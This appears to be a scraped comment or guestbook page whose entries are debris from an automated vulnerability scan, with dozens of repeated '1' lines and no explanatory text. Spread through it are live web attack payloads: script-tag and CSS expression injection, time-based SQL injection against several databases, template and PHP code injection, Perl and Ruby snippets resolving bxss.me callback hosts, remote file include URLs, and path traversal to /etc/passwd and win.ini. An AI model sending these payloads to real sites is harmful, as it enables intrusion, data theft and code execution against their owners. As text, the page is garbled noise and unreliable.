1

pHqghUme

18/04/2022 12:51

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1}body{acu:Expre/**/SSion(Fz91(9438))}

1<ScRiPt>Fz91(9482)</sCripT>

1

1\u003CScRiPt\Fz91(9196)\u003C/sCripT\u003E

pHqghUme

18/04/2022 07:41

1

%31%3C%53%63%52%69%50%74%20%3E%46%7A%39%31%289795%29%3C%2F%73%43%72%69%70%54%3E

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

acx__${98991*97996}__::.x

acx[[${98991*97996}]]xca

acx{{98991*97996}}xca

1

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

1

1

1

1

1

1

<%={{={@{#{${acx}}%>

1

acux6877��z1��z2a�bcxuca6877

1

acu8375＜s1﹥s2ʺs3ʹuca8375

1

1

19769620

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

@@E9Sht

1����%2527%2522

1'"

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Rafz6U0y')) OR 721=(SELECT 721 FROM PG_SLEEP(15))--

qbUK3vkm') OR 420=(SELECT 420 FROM PG_SLEEP(15))--

LJk2a0wO' OR 224=(SELECT 224 FROM PG_SLEEP(15))--

-1)) OR 305=(SELECT 305 FROM PG_SLEEP(15))--

-5) OR 112=(SELECT 112 FROM PG_SLEEP(15))--

-5 OR 995=(SELECT 995 FROM PG_SLEEP(15))--

XhpImwO2')); waitfor delay '0:0:15' --

UtZdNO4v'); waitfor delay '0:0:15' --

a90Hj0iE'; waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

if(now()=sysdate(),sleep(15),0)

-1" OR 2+732-732-1=0+0+0+1 --

-1' OR 2+281-281-1=0+0+0+1 or 'EJiCiTAe'='

-1' OR 2+847-847-1=0+0+0+1 --

-1 OR 2+33-33-1=0+0+0+1

-1 OR 2+661-661-1=0+0+0+1 --

8AItvbNp

1

1

1

1

1

1

1

1

1

1

QkShNEKr

18/04/2022 07:24

1

1

1

1

1

1

1

1

1

1

1

1

1

1

19915642

1

1

1

1

1

1

'"

1

1

1

1

1

1

1

1

1

1

1

/xfs.bxss.me

1

1

1

1

1

1

1

1

1

insertComment/.

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

insertComment

'.print(md5(31337)).'

1

insertComment

${@print(md5(31337))}\

1

1

${@print(md5(31337))}

1

1

1

";print(md5(31337));$a="

1

'+'A'.concat(70-3).concat(22*4).concat(100).concat(79).concat(113).concat(83)+(require'socket' Socket.gethostbyname('hitvz'+'ncoowffa553f9.bxss.me.')[3].to_s)+'

1

';print(md5(31337));$a='

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

"+"A".concat(70-3).concat(22*4).concat(108).concat(71).concat(100).concat(70)+(require"socket" Socket.gethostbyname("hitoc"+"jteamwaw3f4e7.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

1

HttP://bxss.me/t/xss.html?%00

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

".gethostbyname(lc("hitbl"."ejhrvywo1b32c.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(76).chr(99).chr(74)."

1

'"()

'.gethostbyname(lc('hitok'.'wtbvqrmja12cc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(71).chr(117).chr(87).'

1

1

1

1

1

^(#$!@#$)(()))******

1

1

!(()&&!|*|*|

1

1

)

1

1

1

1

1

1

1

1

1&n919809=v985231

1

1

1

1

bxss.me

1

http://bxss.me/t/fit.txt?.jpg

Http://bxss.me/t/fit.txt

1

1some_inexistent_file_with_long_name.jpg

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1

1

1

1

${10000028+10000145}

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../1

1

1

1

../../../../../../../../../../../../../../windows/win.ini

1

12345'"\'\");|]*{ <>�''💡

1

../../../../../../../../../../../../../../etc/passwd

1

1

1

1

1

1